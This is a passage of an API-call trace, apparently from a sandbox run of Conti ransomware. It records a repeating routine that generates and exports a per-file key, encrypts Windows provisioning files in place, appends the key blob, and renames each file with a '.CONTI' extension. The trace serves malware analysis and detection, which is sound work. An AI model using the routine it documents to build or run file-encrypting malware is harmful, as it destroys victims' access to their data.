	[0107.355] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c8530) returned 1
	[0107.355] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x4e7fc24 | out: pbData=0x17d48cc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0107.359] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml")) returned 0x20
	[0107.359] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.359] GetLastError () returned 0x0
	[0107.359] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=575) returned 1
	[0107.359] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23f
	[0107.359] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.359] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.360] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.360] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.360] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0107.362] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.362] ReadFile (in: hFile=0x3b0, lpBuffer=0xe470000, nNumberOfBytesToRead=0x23f, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x23f, lpOverlapped=0x0) returned 1
	[0107.362] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x23f, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x240) returned 1
	[0107.362] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.362] WriteFile (in: hFile=0x3b0, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x240, lpOverlapped=0x0) returned 1
	[0107.362] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.362] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0107.362] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.362] CloseHandle (hObject=0x3b0) returned 1
	[0107.362] GetProcessHeap () returned 0x1720000
	[0107.362] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.363] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml"
	[0107.363] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.CONTI"
	[0107.363] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.conti")) returned 1
	[0107.364] GetProcessHeap () returned 0x1720000
	[0107.364] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.364] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0107.364] GetProcessHeap () returned 0x1720000
	[0107.364] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbda0 | out: hHeap=0x1720000) returned 1
	[0107.364] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0108.073] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6512e48 | out: phKey=0x6512e48*=0x17c8330) returned 1
	[0108.073] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512e4c, pdwDataLen=0x4e7fc24 | out: pbData=0x6512e4c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0108.076] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.076] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.076] GetLastError () returned 0x0
	[0108.076] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=660) returned 1
	[0108.076] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x294
	[0108.077] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.077] SetEndOfFile (hFile=0x384) returned 1
	[0108.077] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.077] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.077] WriteFile (in: hFile=0x384, lpBuffer=0x6512e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6512e4c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.078] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.078] ReadFile (in: hFile=0x384, lpBuffer=0xe470000, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x294, lpOverlapped=0x0) returned 1
	[0108.079] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x294, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2a0) returned 1
	[0108.079] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.079] WriteFile (in: hFile=0x384, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2a0, lpOverlapped=0x0) returned 1
	[0108.079] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.079] WriteFile (in: hFile=0x384, lpBuffer=0x6512e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6512e40*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0108.079] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.079] CloseHandle (hObject=0x384) returned 1
	[0108.079] GetProcessHeap () returned 0x1720000
	[0108.079] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.079] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.079] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.079] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.080] GetProcessHeap () returned 0x1720000
	[0108.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.080] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.080] GetProcessHeap () returned 0x1720000
	[0108.080] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1670 | out: hHeap=0x1720000) returned 1
	[0108.080] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0108.383] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c7770) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x4e7fc24 | out: pbData=0x17d2b24*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0108.649] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.682] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0109.717] GetLastError () returned 0x0
	[0109.718] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=731) returned 1
	[0109.718] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0109.724] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.728] SetEndOfFile (hFile=0x3cc) returned 1
	[0109.743] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.748] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.749] WriteFile (in: hFile=0x3cc, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.763] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.763] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2db, lpOverlapped=0x0) returned 1
	[0109.763] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2db, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0109.763] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.763] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.763] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.763] WriteFile (in: hFile=0x3cc, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.763] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.763] CloseHandle (hObject=0x3cc) returned 1
	[0109.763] GetProcessHeap () returned 0x1720000
	[0109.763] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.764] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml"
	[0109.764] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.764] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.766] GetProcessHeap () returned 0x1720000
	[0109.766] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.766] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0109.766] GetProcessHeap () returned 0x1720000
	[0109.766] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0a58 | out: hHeap=0x1720000) returned 1
	[0109.766] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.766] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b40768 | out: phKey=0x6b40768*=0x6b7f4f8) returned 1
	[0109.766] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4076c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4076c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.767] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.770] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.770] GetLastError () returned 0x0
	[0109.770] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=640) returned 1
	[0109.770] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x280
	[0109.771] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.771] SetEndOfFile (hFile=0x30c) returned 1
	[0109.771] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.771] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.771] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4076c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4076c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.773] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.773] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x280, lpOverlapped=0x0) returned 1
	[0109.773] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x280, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x290) returned 1
	[0109.773] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.773] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x290, lpOverlapped=0x0) returned 1
	[0109.773] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.773] WriteFile (in: hFile=0x30c, lpBuffer=0x6b40760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b40760*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.773] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.773] CloseHandle (hObject=0x30c) returned 1
	[0109.773] GetProcessHeap () returned 0x1720000
	[0109.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.773] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml"
